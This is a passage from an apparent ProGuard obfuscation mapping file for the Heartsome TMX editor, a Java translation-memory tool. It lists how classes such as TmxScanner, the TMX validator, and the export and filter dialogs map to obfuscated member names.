org.apache.xerces.util.XMLStringBuffer access$2(net.heartsome.cat.te.core.utils.TmxScanner) -> b + boolean access$3(net.heartsome.cat.te.core.utils.TmxScanner,org.apache.xerces.util.XMLStringBuffer) -> a + boolean access$4(net.heartsome.cat.te.core.utils.TmxScanner) -> c + void access$5(net.heartsome.cat.te.core.utils.TmxScanner) -> d + void access$6(net.heartsome.cat.te.core.utils.TmxScanner) -> e + org.apache.xerces.xni.XMLString access$7(net.heartsome.cat.te.core.utils.TmxScanner) -> f + void access$8(net.heartsome.cat.te.core.utils.TmxScanner,java.lang.String,org.apache.xerces.xni.XMLString) -> a + boolean access$9(net.heartsome.cat.te.core.utils.TmxScanner) -> g + org.eclipse.swt.widgets.ProgressBar access$10(net.heartsome.cat.te.core.utils.TmxScanner) -> h +net.heartsome.cat.te.core.utils.TmxScanner$1 -> net.heartsome.cat.te.core.utils.TmxScanner$1: + net.heartsome.cat.te.core.utils.TmxScanner this$0 -> lF + int val$d -> lG + void run() -> run +net.heartsome.cat.te.core.utils.TmxScanner$ElementStack -> net.heartsome.cat.te.core.utils.TmxScanner$ElementStack: + org.apache.xerces.xni.QName[] fElements -> fElements + int fSize -> fSize + net.heartsome.cat.te.core.utils.TmxScanner this$0 -> lF + org.apache.xerces.xni.QName pushElement(org.apache.xerces.xni.QName) -> pushElement + void popElement(org.apache.xerces.xni.QName) -> popElement + void clear() -> clear +net.heartsome.cat.te.core.utils.TmxScanner$ErrorCode -> net.heartsome.cat.te.core.utils.TmxScanner$ErrorCode: + java.lang.String description -> description + int lineNumber -> lineNumber + int columnNumber -> columnNumber + org.apache.xerces.util.XMLStringBuffer buf -> lH + net.heartsome.cat.te.core.utils.TmxScanner this$0 -> lF + void clear() -> clear + java.lang.String getDescription() -> getDescription + net.heartsome.cat.te.core.utils.TmxScanner$ErrorCode append(java.lang.String) -> X + void setDescription(java.lang.String) -> setDescription + boolean isEmpty() -> isEmpty + void setPosition(int,int) -> c + java.lang.String toString() -> toString + void access$0(net.heartsome.cat.te.core.utils.TmxScanner$ErrorCode,int,int) -> a +net.heartsome.cat.te.core.utils.TmxScanner$ErrorDescription -> net.heartsome.cat.te.core.utils.TmxScanner$ErrorDescription: + int lineNumber -> lineNumber + int columnNumber -> columnNumber + java.lang.String description -> description + net.heartsome.cat.te.core.utils.TmxScanner this$0 -> lF +net.heartsome.cat.te.core.utils.TmxScanner$TmxDispatcher -> net.heartsome.cat.te.core.utils.TmxScanner$TmxDispatcher: + net.heartsome.cat.te.core.utils.TmxScanner this$0 -> lF + void dispatch() -> dispatch +net.heartsome.cat.te.core.utils.TmxScanner$TmxNode -> net.heartsome.cat.te.core.utils.TmxScanner$TmxNode: + int depth -> depth + org.apache.xerces.xni.QName qName -> lI + org.apache.xerces.util.XMLAttributesImpl attributes -> lJ + org.apache.xerces.util.XMLStringBuffer xmlbuf -> lK + net.heartsome.cat.te.core.utils.TmxScanner this$0 -> lF +net.heartsome.cat.te.core.utils.TmxScanner$TmxNodeStack -> net.heartsome.cat.te.core.utils.TmxScanner$TmxNodeStack: + int defaultSize -> kO + int position -> position + net.heartsome.cat.te.core.utils.TmxScanner$TmxNode[] tmxNodes -> lL + net.heartsome.cat.te.core.utils.TmxScanner this$0 -> lF + void push(net.heartsome.cat.te.core.utils.TmxScanner$TmxNode) -> a + void pop(net.heartsome.cat.te.core.utils.TmxScanner$TmxNode) -> b +net.heartsome.cat.te.core.utils.tmxvalidator.CorrectWriter -> net.heartsome.cat.te.core.utils.tmxvalidator.a: + boolean correctEncoding -> lM + java.lang.String encoding -> encoding + java.lang.String location -> location + java.io.BufferedWriter bw -> lN + net.heartsome.cat.te.core.utils.tmxvalidator.ElementStack stack -> lO + net.heartsome.cat.te.core.utils.tmxvalidator.TmxSchema schema -> lP + net.heartsome.cat.te.core.utils.tmxvalidator.CorrectWriter$Record record -> lQ + void write(java.lang.String) -> write + void setEncoding(java.lang.String) -> setEncoding + void close() -> close + void setCorrectEncoding(boolean) -> g + boolean isCorrectEncoding() -> aP + java.lang.String getEncoding() -> getEncoding + void writeXmlDecl(java.lang.String,java.lang.String,java.lang.String) -> c + void writeDoctype(java.lang.String,java.lang.String,java.lang.String) -> d + void writeStartElement(org.apache.xerces.xni.QName,org.apache.xerces.util.XMLAttributesImpl) -> b + void writeEndElement(org.apache.xerces.xni.QName) -> a + void write(org.apache.xerces.xni.XMLString) -> a + boolean hasChanged() -> hasChanged + java.lang.String getLocation() -> getLocation + java.lang.String buildStartElementXmlStr(org.apache.xerces.xni.QName,org.apache.xerces.util.XMLAttributesImpl) -> c + void checkDeclaration() -> aQ + void checkDoctype() -> aR + void checkRoot() -> aS + void checkHeader() -> aT + void checkBody() -> aU +net.heartsome.cat.te.core.utils.tmxvalidator.CorrectWriter$Record -> net.heartsome.cat.te.core.utils.tmxvalidator.b: + boolean changed -> lR + boolean xmldecl -> lS + boolean doctype -> lT + boolean root -> lU + boolean header -> lV + boolean body -> lW + boolean tuset -> lX + boolean textAccept -> lY + org.apache.xerces.util.XMLStringBuffer xmls -> lZ + net.heartsome.cat.te.core.utils.tmxvalidator.CorrectWriter this$0 -> ma +net.heartsome.cat.te.core.utils.tmxvalidator.ElementStack -> net.heartsome.cat.te.core.utils.tmxvalidator.c: + org.apache.xerces.xni.QName[] fElements -> fElements + int fSize -> fSize + org.apache.xerces.xni.QName pushElement(org.apache.xerces.xni.QName) -> pushElement + void popElement(org.apache.xerces.xni.QName) -> popElement + void clear() -> clear + void lastElement(org.apache.xerces.xni.QName) -> b +net.heartsome.cat.te.core.utils.tmxvalidator.RepairableException -> net.heartsome.cat.te.core.utils.tmxvalidator.d: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard -> net.heartsome.cat.te.core.utils.tmxvalidator.e: + org.eclipse.swt.custom.StyledText styledText -> la + org.eclipse.swt.graphics.Color red -> kV + void info(java.lang.String) -> info + void info(net.heartsome.cat.te.core.utils.tmxvalidator.RepairableException) -> a + void error(java.lang.String) -> error + void warn() -> aV + void dispose() -> dispose + org.eclipse.swt.custom.StyledText access$0(net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard) -> a +net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard$1 -> net.heartsome.cat.te.core.utils.tmxvalidator.f: + net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard this$0 -> mb + void run() -> run +net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard$2 -> net.heartsome.cat.te.core.utils.tmxvalidator.g: + net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard this$0 -> mb + java.lang.String val$str -> mc + void run() -> run +net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard$3 -> net.heartsome.cat.te.core.utils.tmxvalidator.h: + net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard this$0 -> mb + java.lang.StringBuilder val$builder -> md + void run() -> run +net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard$4 -> net.heartsome.cat.te.core.utils.tmxvalidator.i: + net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard this$0 -> mb + java.lang.String val$message -> me + void run() -> run +net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard$5 -> net.heartsome.cat.te.core.utils.tmxvalidator.j: + net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard this$0 -> mb + void run() -> run +net.heartsome.cat.te.core.utils.tmxvalidator.TmxEndEntityException -> net.heartsome.cat.te.core.utils.tmxvalidator.k: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.te.core.utils.tmxvalidator.TmxEntity -> net.heartsome.cat.te.core.utils.tmxvalidator.l: + int defaultCapability -> mf + boolean literal -> literal + int hasLoad -> hasLoad + int baseCharOffset -> baseCharOffset + int lineNumber -> lineNumber + int columnNumber -> columnNumber + int startPosition -> startPosition + int position -> position + int count -> count + char[] ch -> ch + java.io.Reader reader -> reader +net.heartsome.cat.te.core.utils.tmxvalidator.TmxEntityScanner2 -> net.heartsome.cat.te.core.utils.tmxvalidator.m: + net.heartsome.cat.te.core.utils.tmxvalidator.TmxEntity entity -> mg + boolean finish -> kQ + boolean hasReader -> kR + int getLineNumber() -> getLineNumber + int getOffsetNumber() -> aW + int getHasLoad() -> getHasLoad + char peekChar() -> peekChar + char scanChar() -> aK + java.lang.String scanName() -> scanName + boolean scanQName(org.apache.xerces.xni.QName) -> scanQName + int scanLiteral(int,org.apache.xerces.xni.XMLString) -> scanLiteral + int scanContent(org.apache.xerces.xni.XMLString) -> scanContent + boolean scanData(java.lang.String,org.apache.xerces.util.XMLStringBuffer) -> scanData + boolean skipChar(char) -> a + boolean skipSpaces() -> skipSpaces + boolean skipString(java.lang.String) -> skipString + boolean arrangeCapacity(int,boolean) -> arrangeCapacity + boolean load(int) -> g + boolean hasFinish() -> hasFinish + boolean skipDeclSpaces() -> skipDeclSpaces + void close() -> close +net.heartsome.cat.te.core.utils.tmxvalidator.TmxScanner2 -> net.heartsome.cat.te.core.utils.tmxvalidator.n: + org.slf4j.Logger LOGGER -> LOGGER + int SCANNER_STATE_START_OF_MARKUP -> SCANNER_STATE_START_OF_MARKUP + int SCANNER_STATE_COMMENT -> SCANNER_STATE_COMMENT + int SCANNER_STATE_PI -> SCANNER_STATE_PI + int SCANNER_STATE_DOCTYPE -> SCANNER_STATE_DOCTYPE + int SCANNER_STATE_ROOT_ELEMENT -> SCANNER_STATE_ROOT_ELEMENT + int SCANNER_STATE_CONTENT -> SCANNER_STATE_CONTENT + int SCANNER_STATE_REFERENCE -> SCANNER_STATE_REFERENCE + int SCANNER_STATE_END_OF_INPUT -> SCANNER_STATE_END_OF_INPUT + int SCANNER_STATE_TERMINATED -> SCANNER_STATE_TERMINATED + int SCANNER_STATE_CDATA -> SCANNER_STATE_CDATA + int SCANNER_STATE_TEXT_DECL -> SCANNER_STATE_TEXT_DECL + int SCANNER_STATE_ELEMENT_START -> mh + int SCANNER_STATE_ELEMENT_END -> mi + int SCANNER_STATE_ELEMENT_SELFCLOSE -> mj + boolean complete -> lp + boolean scanningAttribute -> mk + boolean fNotifyCharRefs -> fNotifyCharRefs + boolean fIsEntityDeclaredVC -> lw + int scanState -> lm + java.lang.String tmpFilePath -> ly + java.lang.String[] pseudoAttributeValues -> lx + org.apache.xerces.util.SymbolTable pitable -> ml + org.apache.xerces.xni.QName elementQName -> mm + org.apache.xerces.xni.QName fCurrentElement -> fCurrentElement + org.apache.xerces.xni.QName attributeQName -> mn + org.apache.xerces.util.XMLAttributesImpl attributes -> lJ + org.apache.xerces.xni.XMLString fString -> ls + org.apache.xerces.xni.XMLString fTempString -> fTempString + org.apache.xerces.xni.XMLString fTempString2 -> fTempString2 + org.apache.xerces.util.XMLStringBuffer stringBuffer -> lq + org.apache.xerces.util.XMLStringBuffer fStringBuffer -> lt + org.apache.xerces.util.XMLStringBuffer fStringBuffer2 -> lu + org.apache.xerces.util.XMLStringBuffer fStringBuffer3 -> lv + net.heartsome.cat.te.core.utils.tmxvalidator.TmxEntityScanner2 entityScanner -> mo + net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard board -> mp + net.heartsome.cat.te.core.utils.tmxvalidator.CorrectWriter cwriter -> mq + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + java.io.File copdyDTD(java.lang.String) -> Y + void setReportBoard(net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard) -> b + void setCorrectWriter(net.heartsome.cat.te.core.utils.tmxvalidator.CorrectWriter) -> a + void scanXMLDecl() -> aX + void scanDoctype() -> aY + void scanPI() -> scanPI + void scanStartElement() -> aZ + void scanEndElement() -> ba + void scanCDATASection(boolean) -> f + int scanContent() -> scanContent + void scanComment() -> scanComment + void next() -> next + void scanExternalID(java.lang.String[],boolean) -> scanExternalID + boolean scanPubidLiteral(org.apache.xerces.xni.XMLString) -> scanPubidLiteral + long loadFile() -> bb + long countChar(java.io.File,java.lang.String) -> b + java.lang.String scanPseudoAttribute(boolean,org.apache.xerces.xni.XMLString) -> scanPseudoAttribute + void scanPIData(java.lang.String,org.apache.xerces.xni.XMLString) -> scanPIData + void scanAttribute(org.apache.xerces.util.XMLAttributesImpl) -> scanAttribute + boolean scanAttributeValue(org.apache.xerces.xni.XMLString,org.apache.xerces.xni.XMLString,java.lang.String,boolean,java.lang.String,net.heartsome.cat.te.core.utils.tmxvalidator.TmxEntityScanner2) -> a + void normalizeWhitespace(org.apache.xerces.xni.XMLString,int) -> normalizeWhitespace + int isUnchangedByNormalization(org.apache.xerces.xni.XMLString) -> isUnchangedByNormalization + int scanCharReferenceValue(org.apache.xerces.util.XMLStringBuffer,org.apache.xerces.util.XMLStringBuffer) -> scanCharReferenceValue + void normalizeWhitespace(org.apache.xerces.xni.XMLString) -> normalizeWhitespace + void scanEntityReference() -> scanEntityReference + void scanCharReference() -> scanCharReference + boolean scanSurrogates(org.apache.xerces.util.XMLStringBuffer) -> scanSurrogates + void setScannerState(int) -> setScannerState + void copyQname(org.apache.xerces.xni.QName,org.apache.xerces.xni.QName) -> copyQname + void cancled() -> bc + void newRepairableException(java.lang.String) -> Z + void newRepairableException(java.lang.String,java.lang.String) -> i + void newRepairableException(java.lang.String,int,int) -> a + void error(java.lang.String) -> error + net.heartsome.cat.te.core.utils.tmxvalidator.ReportBoard access$0(net.heartsome.cat.te.core.utils.tmxvalidator.TmxScanner2) -> a +net.heartsome.cat.te.core.utils.tmxvalidator.TmxScanner2$1 -> net.heartsome.cat.te.core.utils.tmxvalidator.o: + net.heartsome.cat.te.core.utils.tmxvalidator.TmxScanner2 this$0 -> mr + void warning(org.xml.sax.SAXParseException) -> warning + void fatalError(org.xml.sax.SAXParseException) -> fatalError + void error(org.xml.sax.SAXParseException) -> error +net.heartsome.cat.te.core.utils.tmxvalidator.TmxScanner2$FatalErrorException -> net.heartsome.cat.te.core.utils.tmxvalidator.p: + long serialVersionUID -> serialVersionUID + net.heartsome.cat.te.core.utils.tmxvalidator.TmxScanner2 this$0 -> mr +net.heartsome.cat.te.core.utils.tmxvalidator.TmxScanner2$TmxSchemaException -> net.heartsome.cat.te.core.utils.tmxvalidator.q: + long serialVersionUID -> serialVersionUID + net.heartsome.cat.te.core.utils.tmxvalidator.TmxScanner2 this$0 -> mr +net.heartsome.cat.te.core.utils.tmxvalidator.TmxSchema -> net.heartsome.cat.te.core.utils.tmxvalidator.r: + org.apache.xerces.util.SymbolTable tmxElements -> ms + org.apache.xerces.util.SymbolTable inlineElements -> mt + org.apache.xerces.util.SymbolTable acceptText -> mu + boolean passed -> mv + java.util.Map map -> map + boolean isPassed() -> bd + boolean isInvalid(org.apache.xerces.xni.QName) -> c + boolean isInvalidElement(org.apache.xerces.xni.QName) -> d + boolean isInvalidInlineElement(org.apache.xerces.xni.QName) -> e + boolean isEmpty(org.apache.xerces.xni.QName) -> f + boolean isTextAccept(org.apache.xerces.xni.QName,org.apache.xerces.xni.XMLString) -> a + boolean isElementAccept(org.apache.xerces.xni.QName,org.apache.xerces.xni.QName) -> a +net.heartsome.cat.te.core.utils.tmxvalidator.TmxValidator -> net.heartsome.cat.te.core.utils.tmxvalidator.s: + boolean debug -> debug + boolean report -> mw + boolean normalize -> mx + boolean output -> my + boolean correctEncoding -> lM + org.eclipse.swt.custom.StyledText styledText -> la + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + void validate(java.lang.String) -> validate + void setDebug(boolean) -> setDebug + void setReport(boolean) -> h + void setStyledText(org.eclipse.swt.custom.StyledText) -> setStyledText + void setNormalize(boolean) -> i + void setOutput(boolean) -> j + void setCorrectEncoding(boolean) -> g +net.heartsome.cat.te.core.utils.tmxvalidator.TmxValidatorException -> net.heartsome.cat.te.core.utils.tmxvalidator.t: + long serialVersionUID -> serialVersionUID + int row -> row + int column -> column + int getRow() -> getRow + void setRow(int) -> setRow + int getColumn() -> getColumn + void setColumn(int) -> setColumn +net.heartsome.cat.te.resource.Messages -> net.heartsome.cat.te.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.te.tmxeditor.Activator -> net.heartsome.cat.te.tmxeditor.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.te.tmxeditor.Activator plugin -> mz + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.te.tmxeditor.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.te.tmxeditor.TmxEditorConstanst -> net.heartsome.cat.te.tmxeditor.TmxEditorConstanst: + int SEGMENT_LINE_SPACING -> SEGMENT_LINE_SPACING + int SEGMENT_TOP_MARGIN -> SEGMENT_TOP_MARGIN + int SEGMENT_BOTTOM_MARGIN -> SEGMENT_BOTTOM_MARGIN + int SEGMENT_RIGHT_MARGIN -> SEGMENT_RIGHT_MARGIN + int SEGMENT_LEFT_MARGIN -> SEGMENT_LEFT_MARGIN + char TAB_CHARACTER -> TAB_CHARACTER + char LINE_SEPARATOR_CHARACTER -> LINE_SEPARATOR_CHARACTER + char SPACE_CHARACTER -> SPACE_CHARACTER + java.util.regex.Pattern NONPRINTING_PATTERN -> NONPRINTING_PATTERN + java.lang.String TMX_EDITOR_SHOWHIDEN_NONPRINTCHARACTER -> TMX_EDITOR_SHOWHIDEN_NONPRINTCHARACTER +net.heartsome.cat.te.tmxeditor.TmxEditorUtils -> net.heartsome.cat.te.tmxeditor.TmxEditorUtils: + java.lang.String creationTool -> Z + java.lang.String creationToolVersion -> aa + net.heartsome.cat.common.bean.TmxTU createTmxTu(java.lang.String,java.lang.String) -> createTmxTu + java.lang.String getTmxCreationDate() -> getTmxCreationDate + java.lang.String tuAttr2Str4UI(net.heartsome.cat.common.bean.TmxTU) -> tuAttr2Str4UI + java.util.List calculateSearchStringStyleRange(char[],char[],org.eclipse.swt.graphics.TextStyle) -> calculateSearchStringStyleRange +net.heartsome.cat.te.tmxeditor.editor.ExportDialog -> net.heartsome.cat.te.tmxeditor.editor.ExportDialog: + org.eclipse.swt.widgets.Text textNewFile -> mA + org.eclipse.swt.widgets.Text textAppendFile -> mB + net.heartsome.cat.te.tmxeditor.editor.TmxEditor editor -> editor + org.eclipse.swt.widgets.Button allFilterBtn -> mC + org.eclipse.swt.widgets.Button selectedBtn -> mD + org.eclipse.swt.widgets.Button allBtn -> mE + org.eclipse.swt.widgets.Button newFileBtn -> mF + org.eclipse.swt.widgets.Button appendBtn -> mG + org.eclipse.swt.widgets.Button bBtn1 -> mH + org.eclipse.swt.widgets.Button bBtn2 -> mI + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Composite createClientArea(org.eclipse.swt.widgets.Composite) -> createClientArea + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + boolean validate() -> validate + void okPressed() -> okPressed + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + org.eclipse.swt.widgets.Button access$0(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> a + org.eclipse.swt.widgets.Button access$1(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> b + org.eclipse.swt.widgets.Text access$2(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> c + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> d + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> e + org.eclipse.swt.widgets.Button access$5(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> f + org.eclipse.swt.widgets.Button access$6(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> g + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> h + net.heartsome.cat.te.tmxeditor.editor.TmxEditor access$8(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> i + org.eclipse.swt.widgets.Button access$9(net.heartsome.cat.te.tmxeditor.editor.ExportDialog) -> j +net.heartsome.cat.te.tmxeditor.editor.ExportDialog$1 -> net.heartsome.cat.te.tmxeditor.editor.ExportDialog$1: + net.heartsome.cat.te.tmxeditor.editor.ExportDialog this$0 -> mJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.ExportDialog$2 -> net.heartsome.cat.te.tmxeditor.editor.ExportDialog$2: + net.heartsome.cat.te.tmxeditor.editor.ExportDialog this$0 -> mJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.ExportDialog$3 -> net.heartsome.cat.te.tmxeditor.editor.ExportDialog$3: + net.heartsome.cat.te.tmxeditor.editor.ExportDialog this$0 -> mJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.ExportDialog$4 -> net.heartsome.cat.te.tmxeditor.editor.ExportDialog$4: + net.heartsome.cat.te.tmxeditor.editor.ExportDialog this$0 -> mJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.ExportDialog$5 -> net.heartsome.cat.te.tmxeditor.editor.ExportDialog$5: + net.heartsome.cat.te.tmxeditor.editor.ExportDialog this$0 -> mJ + net.heartsome.cat.te.core.bean.ExportBean val$b -> mK + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.FilterDialog -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog: + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + java.lang.String filterName -> eG + java.lang.String filterUseable -> mL + org.eclipse.swt.graphics.Image checkedImg -> mM + org.eclipse.swt.graphics.Image uncheckedImg -> mN + net.heartsome.cat.te.core.utils.TmxCustomFilterUtil filterUtil -> mO + java.util.List filterList -> mP + org.eclipse.jface.viewers.ICellModifier cellModifier -> mQ + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + boolean close() -> close + void editorFilter() -> be + void initFilter() -> bf + org.eclipse.jface.viewers.TableViewer access$0(net.heartsome.cat.te.tmxeditor.editor.FilterDialog) -> a + org.eclipse.swt.graphics.Image access$1(net.heartsome.cat.te.tmxeditor.editor.FilterDialog) -> b + org.eclipse.swt.graphics.Image access$2(net.heartsome.cat.te.tmxeditor.editor.FilterDialog) -> c + java.util.List access$3(net.heartsome.cat.te.tmxeditor.editor.FilterDialog) -> d + void access$4(net.heartsome.cat.te.tmxeditor.editor.FilterDialog) -> e +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$1 -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$1: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog this$0 -> mR + boolean canModify(java.lang.Object,java.lang.String) -> canModify + java.lang.Object getValue(java.lang.Object,java.lang.String) -> getValue + void modify(java.lang.Object,java.lang.String,java.lang.Object) -> modify +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$2 -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$2: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog this$0 -> mR + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$2$1 -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$2$1: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog$2 this$1 -> mS + org.eclipse.swt.widgets.TableColumn[] val$columns -> mT + org.eclipse.swt.widgets.Table val$table -> mU + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$3 -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$3: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog this$0 -> mR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$4 -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$4: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog this$0 -> mR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$5 -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$5: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog this$0 -> mR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$6 -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$6: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog this$0 -> mR + org.eclipse.swt.widgets.Table val$table -> mU + org.eclipse.swt.widgets.Button val$editorBtn -> mV + org.eclipse.swt.widgets.Button val$deleteBtn -> mW + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$7 -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$7: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog this$0 -> mR + org.eclipse.swt.widgets.Table val$table -> mU + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.te.tmxeditor.editor.FilterDialog$TableViewerLabelProvider -> net.heartsome.cat.te.tmxeditor.editor.FilterDialog$TableViewerLabelProvider: + net.heartsome.cat.te.tmxeditor.editor.FilterDialog this$0 -> mR + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog -> net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog: + org.eclipse.swt.graphics.Image addImg -> mX + org.eclipse.swt.graphics.Image deleteImg -> mY + org.eclipse.swt.widgets.Text nameTxt -> mZ + org.eclipse.swt.widgets.Button fitAllBtn -> na + org.eclipse.swt.widgets.Button fitAnyoneBtn -> nb + org.eclipse.swt.custom.ScrolledComposite scroll -> nc + org.eclipse.swt.widgets.Composite regularParentCmp -> nd + org.eclipse.swt.layout.GridData buttonData -> ne + org.eclipse.swt.layout.GridData comboData -> nf + java.util.Map targetItemMap -> ng + java.util.Map typeItemMap -> nh + net.heartsome.cat.te.core.bean.TmxEditorFilterBean curBean -> ni + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + boolean close() -> close + net.heartsome.cat.te.core.bean.TmxEditorFilterBean getCurBean() -> getCurBean + void setCurBean(net.heartsome.cat.te.core.bean.TmxEditorFilterBean) -> setCurBean + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + void initRegularCmp() -> bg + void initTargetCmbo(java.lang.String,net.heartsome.cat.te.core.bean.Property,org.eclipse.swt.widgets.Composite) -> a + org.eclipse.swt.widgets.Composite createRegularCmp(org.eclipse.swt.widgets.Composite) -> j + void enableDeleButton(org.eclipse.swt.widgets.Button) -> a + void disableDeleButton() -> bh + org.eclipse.swt.layout.GridData access$0(net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog) -> a + org.eclipse.swt.widgets.Composite access$1(net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog,org.eclipse.swt.widgets.Composite) -> a + org.eclipse.swt.custom.ScrolledComposite access$2(net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog) -> b + void access$3(net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog) -> c +net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog$1 -> net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog$1: + net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog this$0 -> nj + org.eclipse.swt.widgets.Combo val$targetCmb -> nk + org.eclipse.swt.custom.StackLayout val$operateCmpLayout -> nl + org.eclipse.swt.widgets.Text val$operateTxt -> nm + org.eclipse.swt.widgets.Composite val$operateCmp -> nn + org.eclipse.swt.widgets.Composite val$regularCmp -> no + org.eclipse.swt.widgets.Composite val$regularParentCmp -> np + org.eclipse.swt.widgets.Combo val$operateCmb -> nq + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog$2 -> net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog$2: + net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog this$0 -> nj + org.eclipse.swt.widgets.Composite val$regularParentCmp -> np + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog$3 -> net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog$3: + net.heartsome.cat.te.tmxeditor.editor.FilterRegularDialog this$0 -> nj + org.eclipse.swt.widgets.Composite val$regularParentCmp -> np + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.TmxEditor -> net.heartsome.cat.te.tmxeditor.editor.TmxEditor: + org.eclipse.swt.widgets.Composite parentComposite -> nr + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess tmxDataAccess -> ns + java.lang.String srcLangCode -> srcLangCode + java.lang.String tgtLangCode 